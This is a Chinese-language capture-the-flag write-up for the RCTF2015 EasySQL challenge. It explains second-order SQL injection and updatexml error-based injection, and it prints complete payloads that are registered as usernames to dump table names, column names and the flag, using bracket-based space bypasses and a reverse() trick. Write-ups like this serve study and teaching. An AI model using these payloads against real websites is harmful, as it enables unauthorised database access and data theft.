[RCTF2015]EasySQL 报错注入与二次注入
[RCTF2015]EasySQL 报错注入与二次注入
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
updatexml(fileName, XPATH, ChangedStr)
更新某个xml文件中的特定信息。
第一个参数是希望更新的xml文件的名称;
第二个参数XPATH是一种在xml文件中指定元素或信息的语句,即xml文件中的定位器,有点类似指针;
第三个参数是希望更改成的信息,如将原来的信息改成3,这个3就是这个ChangedStr。
报错注入
通过让数据库报错会拿出相关信息的性质,想办法让数据库报错,然后达到命令执行的目的
updatexml(1,concat(0x3a,(你希望执行的语句)),1))#
concat函数是说连接字符串,这里将0x3a连在了XPATH位置的参数的最前面,会不符合XPATH的规范,遂报错,说“0x3a(你希望执行的语句)”不符合规定,这也就爆出了你想要得到的信息。
二次注入
在某个输入位置,将不安全的字符串成功按原样插入到了数据库中,后认为数据库中的数据都是安全的,然后在另一处随意的引用了该不安全的语句,造成了注入,即“二次注入”
[RCTF2015]EasySQL
tips: 密码和邮箱大部分时候都可以留空
一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。

这里我先注册一个带引号的用户,展示一下效果。

可以看到,这个网站将完整的带引号的名字都存进了数据库,且并没有进行过滤等操作。

直接点提交,可以发现数据库报错了,还发现数据库将密码哈希了以后存储的,不过这和本题无关。
这个位置还是过滤了一些参数的

这里包长为496的都是过滤掉的
开始注入,构造语句
空格过滤掉了,使用括号来完成。
haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
这里使用payload为用户名注册,可以看到这么长的用户名也能注册成功,挺离谱的。

事实告诉我们,限制用户名长度还是挺有用的哈哈。
进入修改密码处

成功爆出表名。
经过实验,最终的结果在users表中,查看users表列
haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#

这里语句有一些不一样,where后面多了一个限定词
(column_name)regexp('^r')
这句的意思是,只要column_name列中符合后面正则表达式的内容的部分(regexp函数是正则表达式函数)。
正则表达式的内容 ^r 的意思是,只匹配开头是r的字符串,比如这里有三个串
asdff
asd ff
fasd
正则表达式只会匹配第三个串,因为只有它是f字母开头的,第二个串虽然带有空格后的ff,但空格本身是包含在字符串内的,故后面的ff仍算在一整个字符串内,不是开头,故不被匹配。
回到题目,这里我们不加正则表达式限定,会看到几个表,其中有一个表叫real_flag啥的,因为长度限制,后面没有爆出来,只爆出了一部分,故我们需要限定,只看这个real啥的列的列名
查看flag
haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
同理,他在这个表里面塞了一堆xxx字符串,看表的时候没办法看到flag相关的内容,故我们用正则,匹配f开头的字符串。
然后flag出来又不会出全,还需要使用reverse函数,逆序输出flag
haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
随后会出现倒着的flag,然后拼起来即得答案。
这个地方我想把reverse写在select的前面,但不知道为什么没办法执行,有知道的大佬求教下。ψ(`∇´)ψ
想写成这样
haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
[RCTF2015]EasySQL 报错注入与二次注入的更多相关文章
- 报错盲注之exp注入(double数值类型溢出原理详解)
首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ...
- Android8 以上使用 UIautomator Viewer提示Unexpected error while obtaining UI hierarchy报错(方法二)
一:最常见的一个问题就是:Android8及以上的系统无法获取到页面,提示报下面的错误 二:解决办法 1.下载新的tools,在下面链接里找到SDK tools下载 http://www.androi ...
- freemarker报错之十二
1.错误描述 六月 04, 2014 10:31:47 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...
- freemarker写select组件报错总结(二)
1.错误描述 六月 25, 2014 11:32:49 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...
- Mysql报错注入之floor报错详解
一.简述 利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor ...
- Mysql报错型注入总结
Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...
- VueX中直接修改数据报错,修改一维数组,二维数组,报错的原因
直接修改state中的的数据是不被允许的,会报错 这个时候可以使用三种种方式处理 第一种:使用拓展运算符,深拷贝一维数组或对象var arrA = [1,2,3,4]var a = [...arr]| ...
- 项目启动报错怎么办?看看你Spring自动注入用对了嘛?@Autowired XxxService注入问题解决
问题 在Controller层使用 @Autowired注入Service时,提示Bean中没有Service 在Service接口中使用 @Component注入后,启动项目问题提示: The we ...
- sql server 2008 创建新数据库报错、创建表报错、更改表的设计报错
一:创建数据库报错如下: 二:解决,将软件以管理员身份运行 三:创建表报错如下图: 四:解决办法,在你创建的数据库下面的安全里,找到你创建的用户,属性,添加权限,红色标注,然后确定: 五:更改表的设计 ...
- C++ 报错 R6030 CRT not initialized
昨天,在写一个算法的时候,报错R6030 CRT not initialized. 认真检查发现,是出了比较低级的错误. 一. 会出错的代码,编译的时候不会报错,执行过程中报R6030 CRT not ...
随机推荐
- mac环境配置本地nfs服务
前言 在这篇文章中,讲了在Mac端开启NFS服务,并通过NFS协议让其他设备挂载到你的Mac上. 步骤一:增加配置文件 首先,我们需要编辑NFS的配置文件,以便定义哪些目录可以被远程访问. 打开终端, ...
- Go 1.20更新了那些内容
PGO的引入 Go 1.20 发布了配置文件引导优化(PGO)的预览版,使编译器能够根据运行时配置文件信息,执行应用程序和工作负载的特定性优化.提供要构建的配置文件,使编译器能够将应用程序的速度提高大 ...
- 丢失的MD5-补全代码
题目是一段代码,直接运行会报错: import hashlib for i in range(32,127): for j in range(32,127): for k in range(32,12 ...
- 『Plotly实战指南』--柱状图绘制高级篇
在数据可视化的世界里,柱状图是一种直观且强大的工具,用于展示数据的分布.比较和趋势. 从基础的柱状图出发,我们可以进一步探索更复杂的图表类型,如分组柱状图和堆积柱状图,它们在处理多维数据和复杂关系时具 ...
- VSCode 中 Json 文件介绍
Visual Studio Code 官方文档 1. Json 配置文件 Editing JSON with Visual Studio Code settings.json 分类 defaultse ...
- JDK8-日历类--java进阶day07
JDK7和JDK8之间的时间API比较 1.日历类 1.LocalDateTime LocalDateTime最为齐全,只要掌握这个类,另外两个都是一样的 now方法获取到此刻时间,of方法设置想要的 ...
- Random和猜数字小游戏
1.Random:使用方式和Scanner一样 Random用于生成随机数,括号里的10就是指在10以内随机生成一个数(0~9) Random生成的随机数都是从0开头 . 提问:那该如何让Random ...
- 【Linux】3.4 用户管理
用户管理 1. 基本用户管理 Linux系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统. 用户的账号一方面可以帮助 ...
- FireDAC的数据库的FDConnect
通常,我们设置一个ini文件,按照FDConnection的ini格式要求配置好.然后直接调用通知连接数据库是否OK. FireDAC可以通过FDManager管理ini文件简单实现.即由FDConn ...
- Centos系统云主机中nvme盘不可用解决方法
本文分享自天翼云开发者社区<Centos系统云主机中nvme盘不可用解决方法>,作者:P****n 问题描述 Linux系统的云主机使用NVMe盘后,出现非预期的慢IO读写,导致系统或者应 ...